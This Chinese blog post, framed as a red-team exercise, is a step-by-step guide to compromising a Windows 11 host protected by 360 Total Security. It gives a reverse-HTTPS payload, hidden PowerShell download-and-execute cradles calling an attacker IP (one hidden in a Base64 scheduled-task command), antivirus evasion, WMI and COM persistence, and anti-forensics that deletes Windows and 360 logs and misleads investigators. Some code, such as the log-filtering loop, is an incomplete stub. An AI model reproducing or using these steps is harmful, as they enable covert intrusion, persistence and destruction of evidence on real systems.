Windows 11渗透测试实战:绕过360安全卫士与Freeze工具应用

📅 2026/7/4 15:59:55 👁️ 阅读次数 📝 编程学习
Windows 11渗透测试实战:绕过360安全卫士与Freeze工具应用

1. 项目概述:一次针对现代Windows安全体系的深度渗透测试实践

最近在内部安全评估和红队演练中,我遇到了一个颇具代表性的场景:如何在一个安装了360安全卫士的Windows 11系统上,完成从权限提升、持久化到最终清理的完整流程。这不仅仅是执行几条命令,而是对攻击者思维、系统防御机制和工具链的深度考验。Windows 11带来了更严格的默认安全策略(如内核隔离、内存完整性),而360安全卫士作为国内普及率极高的终端安全软件,其主动防御、云查杀和行为监控构成了一个立体的防护体系。传统的“一招鲜”攻击手法在这里几乎寸步难行。

本次实践的核心目标,是模拟一个高级持续性威胁(APT)攻击者在受限环境下,如何绕过层层防御,建立隐蔽的指挥与控制(C2)通道,并在任务完成后尽可能不留痕迹地清理现场。我们选用了Kali Linux作为攻击平台,并重点使用了一款名为Freeze的工具进行木马连接管理。整个过程涉及系统漏洞利用、权限维持、对抗杀软、网络隐蔽通信以及痕迹清除等多个环节。这不仅是一次技术操作,更是一次对现代攻防对抗逻辑的深入理解。无论你是安全研究人员、渗透测试工程师,还是想深入了解系统安全机制的技术爱好者,这篇详尽的流程解析和优化方案都能为你提供扎实的参考。

2. 整体攻击链设计与思路拆解

2.1 目标环境分析与挑战识别

面对Windows 11 + 360安全卫士的组合,我们首先要摒弃“暴力破解”或使用公开EXP库中老旧漏洞的思维。Windows 11的默认安全配置,包括但不限于强制驱动签名受控文件夹访问基于虚拟化的安全等,极大地提高了内核级攻击的门槛。360安全卫士则在此基础上,增加了行为沙箱分析云信誉查询主动防御引擎。这意味着,一个陌生的可执行文件(PE)在落地、执行、甚至尝试进行敏感操作(如加壳、注入、调用特定API)时,会触发多层警报。

因此,我们的攻击链设计必须遵循几个核心原则:低权限入口、合法进程滥用、内存无文件攻击、以及Living-off-the-Land。简单说,就是尽量不向磁盘写入恶意文件,利用系统自带的白名单程序(如powershell.exe,wmic.exe,msbuild.exe)来执行恶意代码,并将最终的有效载荷驻留在内存中。整个流程可以拆解为四个阶段:初始立足点获取、权限提升与防御绕过、建立持久化C2通道、任务执行与痕迹清除。Freeze工具将在第三阶段扮演关键角色,它不是一个传统的“木马”,而是一个用于管理多种后门连接的工具框架。

2.2 工具与技术栈选型考量

为什么选择Kali Linux和Freeze?Kali Linux集成了大量经过验证的渗透测试工具,从信息收集到漏洞利用链条完整。更重要的是,它提供了一个与目标环境隔离的、可控的攻击发起平台。在工具选择上,我们倾向于使用那些活跃维护、模块化、且支持加密通信的项目。

  • MSFVenom/Payload Generation: 用于生成高度定制化的有效载荷。关键在于编码器和格式的选取,以绕过静态查杀。
  • PowerShell Empire/Covenant: 这类框架支持基于HTTP/S的加密C2通信,且能生成纯内存的PS1载荷,非常适合绕过对可执行文件的检测。
  • Freeze: 这是一个相对较新的工具,它的优势在于其模块化架构对多种连接协议的支持(如TCP, HTTP/S, DNS, SMB)。它允许攻击者在一个统一界面下管理多个“冻结”(即植入)的后门会话,并动态加载执行模块,非常适合在需要维持多个访问入口的复杂环境中使用。
  • Living-off-the-Land Binaries (LOLBAS): 我们将大量依赖系统自带的合法工具,如certutil.exe(下载文件)、bitsadmin.exe(后台传输)、regsvr32.exe(执行DLL)等,这些工具通常不在杀软的监控黑名单中。

选型的核心思路是:用最普通的工具做不普通的事,将恶意行为拆解并隐藏在大量合法的系统操作噪音中

3. 核心环节实操:绕过防御与建立连接

3.1 阶段一:获取初始立足点与低权限执行

假设我们已经通过社会工程学(如鱼叉邮件)或网络攻击(如利用未授权访问的Web服务)获得了一个在目标系统上执行代码的机会。这个入口点可能是一个受限的用户账户。

  1. 生成规避载荷:在Kali上,我们不直接生成exe,而是生成一个经过混淆的PowerShell脚本。使用MSFVenom结合shikata_ga_nai编码是一个起点,但针对360,我们需要更进一步的混淆。

    # 生成一个原始的reverse_https的shellcode msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f ps1 -o raw.ps1

    生成的raw.ps1内容包含一个字节数组。直接使用它极易被查杀。我们需要对其进行二次处理,比如拆分、Base64编码、与无害代码混合,或者使用像Invoke-Obfuscation这样的工具进行混淆。

  2. 无文件加载执行:我们不会将raw.ps1写入磁盘。而是通过一行命令,让目标系统从我们的攻击机(Kali)远程加载并执行。这里利用powershellIEX命令。

    # 在攻击机搭建一个简单的HTTP服务器,托管混淆后的最终PS1脚本 python3 -m http.server 8080

    在目标机(通过初始入口点)执行:

    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100:8080/final_payload.ps1')"

    关键点-ExecutionPolicy Bypass绕过本机执行策略,-WindowStyle Hidden隐藏窗口。360可能会监控Net.WebClient的下载行为,因此实践中可能需要替换为bitsadmincertutil来下载,再用IEX执行内存中的内容。

3.2 阶段二:权限提升与绕过主动防御

获得一个低权限的Meterpreter或类似shell后,我们需要提权并绕过360的主动防御。

  1. 信息收集:首先,我们需要了解目标系统的详细情况。

    # 在Meterpreter会话中 sysinfo run post/windows/gather/checkvm # 检查是否为虚拟机 run post/multi/recon/local_exploit_suggester # 自动建议本地提权漏洞

    特别注意系统补丁级别、已安装的安全软件进程(360sd.exe,360tray.exe等)以及是否有某些驱动或服务存在已知漏洞。

  2. 选择提权路径

    • 利用未打补丁的内核漏洞:例如,如果系统未更新,可尝试CVE-2021-36934、CVE-2021-1675等。使用getsystem命令是MSF的经典方法,但在360面前成功率很低,因为它会拦截令牌窃取等行为。
    • 服务路径/权限滥用提权:查找具有高权限但路径或依赖项可写的服务。使用powerup.ps1等脚本进行审计。这种方法更依赖配置错误,而非0day,可能绕过行为监控。
    • COM/DLL劫持:寻找以高权限运行且加载DLL时未指定绝对路径的应用程序或系统组件。
  3. 绕过主动防御的技巧

    • 延时与慢速操作:快速、连续的系统调用(如连续枚举进程、注册表)容易触发行为规则。在脚本中引入随机延时(Start-Sleep -Seconds (Get-Random -Minimum 2 -Maximum 10))。
    • 间接系统调用:使用Nt系列原生API替代常见的Win32 API,因为部分安全软件对Win32 API的钩子更严密。
    • 父进程欺骗:通过CreateProcess等API,让我们的恶意进程看起来是由explorer.exesvchost.exe等可信进程创建的。这可以绕过一些基于父-子进程关系的检测规则。
    • 内存操作规避:使用VirtualAllocExWriteProcessMemory进行进程注入时,尝试注入到notepad.exemsiexec.exe这类白名单进程,并避免使用CreateRemoteThread这种敏感API,可以尝试使用QueueUserAPC或线程劫持。

3.3 阶段三:使用Freeze建立与管理持久化连接

获得系统权限后,我们需要建立一个更稳定、隐蔽的持久化后门。这就是Freeze发挥作用的时候。

  1. Freeze工具部署:Freeze通常包含一个生成器(Generator)和一个控制台(Console)。首先,在Kali上配置生成器。

    # 假设我们从GitHub克隆了Freeze cd Freeze/Generator # 编辑配置文件config.json,设置监听IP、端口、协议(如HTTPS)、加密密钥等。 # 生成一个后门客户端 python3 freeze.py --config config.json --output payload.bin

    生成的payload.bin是一个高度定制化的加载器。我们需要将其投递到目标。

  2. 投递与执行:同样,避免直接写入磁盘。我们可以将payload.bin的内容Base64编码,然后通过PowerShell从内存中加载并执行。或者,将其嵌入到一个合法的、带有数字签名的安装程序或文档宏中。对于已获得高权限的情况,可以将其写入一个计划任务或服务的注册表键值中,实现无文件持久化。

  3. 连接与交互:在Kali的Freeze控制台启动对应的监听器。

    cd Freeze/Console python3 console.py --listener https --port 8443

    一旦目标上的payload.bin被执行,控制台会收到一个会话。Freeze的优势在于,你可以在这个会话中动态加载模块(如键盘记录、屏幕截图、文件管理),而无需重新投递整个后门程序,这减少了被检测的风险。

  4. Freeze连接优化

    • 协议伪装:使用HTTPS协议,将C2流量伪装成正常的Web浏览。可以配置与某个可信域名(如update.microsoft.com)相似的证书和URL路径。
    • 流量加密与编码:确保Freeze配置中使用了强加密(如AES-256)。此外,可以添加自定义的流量编码层,将传输的数据伪装成某种常见的格式,如图片像素数据或JSON中的特定字段。
    • 心跳间隔随机化:将心跳包的时间间隔设置为一个随机范围,避免规律的网络连接被流量分析设备发现。

4. 深度优化:对抗查杀与隐蔽持久化

4.1 对抗360云查杀与静态检测

360的云查杀威力巨大,其核心在于哈希值比对和静态特征识别。我们的优化必须针对这两点。

  • 哈希值变异:每次投递的载荷,即使是同一功能,也必须在二进制层面有所不同。可以通过以下方式实现:

    1. 添加垃圾代码:在代码段中插入大量无用的计算或跳转指令,但不影响逻辑。
    2. 代码混淆与加密:使用商业或开源的混淆器对shellcode或整个PE文件进行混淆。对于PowerShell脚本,使用Invoke-Obfuscation对变量名、函数名、字符串进行随机化。
    3. 分段加载:不发送完整的恶意软件,而是发送一个极小的“下载器”。这个下载器唯一的功能就是从指定地址下载第二段、第三段代码并在内存中组装执行。每一段都可以单独做免杀处理。
  • 规避静态特征

    1. 避免使用敏感字符串:如“Meterpreter”、“Reverse_HTTP”、“shellcode”等明文字符串。所有字符串应进行加密或哈希处理,运行时解密。
    2. API动态解析:不直接调用LoadLibraryGetProcAddress,而是通过解析PEB(进程环境块)手动遍历内核模块链表来获取API地址,这能绕过一些对API调用的简单特征匹配。
    3. 使用反射式DLL注入:将DLL本身作为数据写入目标进程内存,然后通过反射方式自行加载,避免调用LoadLibraryA这个敏感函数,也无需将DLL文件写入磁盘。

4.2 高级持久化技术

在Windows 11上,传统的启动文件夹、Run注册表项被监控得很严。我们需要更隐蔽的方法。

  1. 计划任务伪装:创建一个计划任务,但将其触发器设置为特定、不常见的事件,如“当某个特定日志事件ID产生时”,或者设置为每天在随机时间运行。任务的操作可以指向一个合法的powershell.exe,参数则是经过编码的、从远程或注册表中读取的恶意命令。

    # 示例:创建一个在每日随机时间运行的计划任务(需管理员权限) $TriggerTime = (Get-Date).AddMinutes((Get-Random -Minimum 60 -Maximum 1440)) # 1-24小时后 $Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMAA6ADgAMAA4ADAALwBwAGEAeQBsAG8AYQBkAC4AcABzADEAJwApAA==" $Trigger = New-ScheduledTaskTrigger -Daily -At $TriggerTime Register-ScheduledTask -TaskName "SystemCacheUpdate" -Action $Action -Trigger $Trigger -Description "Updates system cache" -User "SYSTEM" -RunLevel Highest
  2. WMI事件订阅:这是一个非常隐蔽的持久化方法。可以配置一个WMI事件过滤器(例如,监控特定进程启动或用户登录),然后绑定一个消费者(如执行一段ActiveScriptEventConsumer)。后门代码存储在WMI仓库中,不落盘。

    # 创建事件过滤器(示例:用户登录后) $FilterArgs = @{Name='UserLogonFilter'; EventNameSpace='root\CimV2'; QueryLanguage='WQL'; Query="SELECT * FROM Win32_LogonSession WHERE LogonType=2"} $Filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments $FilterArgs # 创建事件消费者(执行命令) $ConsumerArgs = @{Name='UserLogonConsumer'; CommandLineTemplate="powershell.exe -WindowStyle Hidden -EncodedCommand {你的Base64命令}"} $Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments $ConsumerArgs # 绑定过滤器和消费者 $BindingArgs = @{Filter=$Filter; Consumer=$Consumer} $Binding = Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments $BindingArgs
  3. COM劫持:修改注册表中某些CLSID的InprocServer32LocalServer32键值,将其指向我们的恶意DLL或脚本。当某些合法软件(如Explorer, Office)调用这些COM组件时,我们的代码就会被加载。这种方法需要深入的系统知识和对目标软件行为的了解。

5. 任务执行后的痕迹清除操作优化

渗透测试的最后一环,也是最能体现专业性的环节,就是清理痕迹。目标是在不引起系统管理员怀疑的前提下,移除我们引入的所有工具、日志和修改。

5.1 日志清除策略

Windows日志是调查者的金矿。我们必须有针对性地清理。

  1. 识别相关日志:我们的活动可能记录在安全日志(事件ID 4688: 进程创建, 4624/4625: 登录)、系统日志、PowerShell操作日志(事件ID 4103, 4104)以及360等安全软件的自有日志中。

  2. 使用Wevtutil清除:直接删除整个日志文件太可疑。应使用wevtutil工具删除特定时间段或特定事件ID的日志。

    # 清除安全日志中过去1小时内包含特定进程名的记录(需SYSTEM权限) # 注意:此操作本身会产生日志,需权衡。更优做法是在攻击前就禁用相关日志记录。 wevtutil qe Security /q:"*[System[TimeCreated[@SystemTime>='{过去1小时的时间戳}'] and EventData[Data[@Name='ProcessName']='powershell.exe']]" /rd:true /f:text | ForEach-Object { # 解析并获取事件ID,然后删除 } # 实际上,更常见的做法是直接清除整个日志通道,但这也是一种异常行为。 wevtutil cl Security

    重要提示:在真实环境中,清除整个安全日志是极其危险的操作,会立即引起警觉。红队行动中,更倾向于在攻击前就通过策略修改或工具禁用特定日志记录。

  3. 篡改而非删除:高级做法不是删除日志,而是向日志中注入大量无关的、低威胁的噪音事件(例如,大量失败的、来自不同IP的RDP登录尝试),将我们的真实操作记录淹没在海量数据中,增加调查难度。

5.2 文件、进程与注册表清理

  1. 文件清理:删除所有投递的临时文件、下载的载荷。使用del /f /qRemove-Item -Force -Recurse。对于写入系统目录的文件,删除后最好再创建同名空文件或替换为系统原版文件,防止出现“文件不存在”的错误引起怀疑。
  2. 进程与内存清理:结束掉我们启动的所有后台进程、计划任务触发的进程等。确保Freeze的监听器进程被完全终止。对于注入到其他进程(如explorer.exe)的代码,如果无法安全卸载,则可以考虑结束宿主进程(这可能导致用户界面闪退,需谨慎)。
  3. 注册表清理:仔细检查并还原所有修改过的注册表项,包括Run键、服务项、WMI订阅、COM劫持项等。使用reg delete命令。务必对照攻击前的备份或系统基准进行核对,避免误删关键系统项导致崩溃。
  4. 网络连接清理:关闭所有我们建立的监听端口和异常网络连接。使用netstat -ano查找异常连接并终止对应进程。

5.3 针对360安全卫士的专项清理

360会有自己的日志和缓存,需要特别处理。

  1. 日志与隔离区:查找360的日志目录(通常位于C:\ProgramData\360safeC:\Users\[用户名]\AppData\Roaming\360safe下的子目录),删除其中与我们的活动时间戳相关的日志文件、扫描报告和隔离区文件(.qex等格式)。
  2. 恢复被修改的配置:如果攻击过程中我们曾尝试禁用360的某些功能(如通过修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\360Safe下的键值),在离开前必须将其恢复原状。
  3. 清除行为记录:360的主动防御模块会记录进程行为。这些记录可能存储在内存数据库或特定文件中。完全清除这些记录非常困难。更可行的策略是,在攻击初期就通过提权后的权限,以“添加信任区”或“排除扫描路径”的名义,将我们的工具和活动路径加入360的白名单,从而避免被记录。在离开时,再将这些信任项移除。

6. 常见问题排查与实战心得

6.1 连接建立失败与稳定性问题

  • 问题:Freeze生成的载荷执行后,控制台无法收到会话。
    • 排查
      1. 网络可达性:首先确认从目标机到攻击机的IP和端口(如8443)是通的。可以在目标机用Test-NetConnection 192.168.1.100 -Port 8443测试。
      2. 载荷执行情况:检查载荷是否真的被执行且没有崩溃。在目标机使用Process Explorertasklist查看是否有相关进程。查看系统事件日志是否有应用程序错误。
      3. 杀软拦截:这是最常见的原因。检查360的日志,看是否拦截了网络连接或进程行为。尝试使用更底层的原始套接字或不同的协议(如从HTTPS切换到DNS over HTTPS)。
      4. Freeze配置错误:检查Generator和Console的配置文件是否匹配,特别是加密密钥、协议和回调地址。
  • 心得“慢就是快”。在对抗性环境中,不要急于求成。先使用一个极其简单的、仅回显“Hello World”的测试载荷,确认通信链路和基本执行能力。然后再逐步增加功能复杂度。同时,准备好多个备用的通信方式和载荷类型。

6.2 权限提升尝试被拦截

  • 问题:运行提权EXP时,进程被360直接终止,甚至触发全盘扫描。
    • 排查与解决
      1. EXP本身有特征:公开的EXP代码或二进制文件早已被加入特征库。尝试自己编译EXP,修改其中的字符串、代码结构,或使用不同版本的编译器。
      2. 行为触发规则:提权操作往往涉及高权限的进程操作、内存读写。尝试将提权操作拆解,分步进行,并在每一步之间加入延时。或者,寻找利用逻辑漏洞而非内存破坏漏洞的提权方法(如服务配置错误),这类方法的行为特征可能更不明显。
      3. 利用白名单进程:尝试将提权代码注入到受信任的系统进程(如svchost.exe,winlogon.exe)中再执行。但这要求已有足够的代码执行权限,并且注入操作本身也可能被拦截。

6.3 持久化机制失效

  • 问题:设置的计划任务、服务或WMI订阅在重启后没有运行。
    • 排查
      1. 权限不足:确保创建持久化项时使用的是足够高的权限(通常是SYSTEM或管理员)。某些注册表项或目录需要TrustedInstaller权限。
      2. 路径或参数错误:检查持久化项中指向的可执行文件路径和参数是否正确。特别是当使用相对路径或环境变量时。
      3. 被安全软件删除/禁用:360等软件会监控并清理常见的自启动项。这就是为什么我们要使用更隐蔽的持久化技术(如WMI事件订阅、COM劫持)。创建后,可以手动触发一次事件(如锁屏再登录),检查我们的后门是否被调用。
    • 心得永远不要只依赖一种持久化方法。应采用“金字塔”或“链式”持久化。例如,一个计划任务用于在每天特定时间检查并修复另一个更隐蔽的WMI订阅。即使一层被清除,另一层还能将其恢复。

6.4 清理操作引发警报

  • 问题:在清理日志和文件时,触发了安全软件的“可疑行为”警报。
    • 解决策略
      1. 最小化操作原则:只清理与我们直接相关的、必须清理的痕迹。不要试图清除所有可能相关的日志,那会扩大攻击面,增加暴露风险。
      2. 使用系统自带工具:尽量使用wevtutil,schtasks,reg等系统合法管理工具进行清理,避免使用来历不明的第三方“痕迹清理工具”,后者本身可能就是检测目标。
      3. 时间线混淆:如果条件允许,在攻击开始前就修改系统时间,进行攻击,然后再将时间改回。这样产生的日志时间戳会是混乱的,增加调查难度。但这需要极高的权限,且可能影响其他应用程序。
      4. 接受部分残留:专业的攻击者会接受一个现实:完全不留痕迹几乎是不可能的。目标应该是将痕迹减少到让调查成本极高、难以形成完整证据链的程度。例如,留下一些无关紧要的、指向错误方向的痕迹,反而可能误导防守方。

整个绕过Windows 11和360安全卫士的流程,是一场精细的“猫鼠游戏”。它考验的不仅是工具的使用,更是对操作系统原理、安全软件工作机制和攻防心理的深刻理解。每一次成功的绕过,都建立在对正常系统行为和异常检测规则的精准把握之上。记住,没有永远有效的方法,只有持续演变的对抗。保持学习,深入理解每一层技术背后的原理,才是应对不断升级的安全挑战的根本。